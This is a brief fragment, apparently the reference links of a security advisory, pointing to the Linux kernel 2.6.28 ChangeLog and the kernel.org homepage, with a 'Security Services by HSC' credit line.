http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.28.  (Linux)
--Linux kernel Homepage
http://www.kernel.org  (kernel.org)
 

Security Services by HSC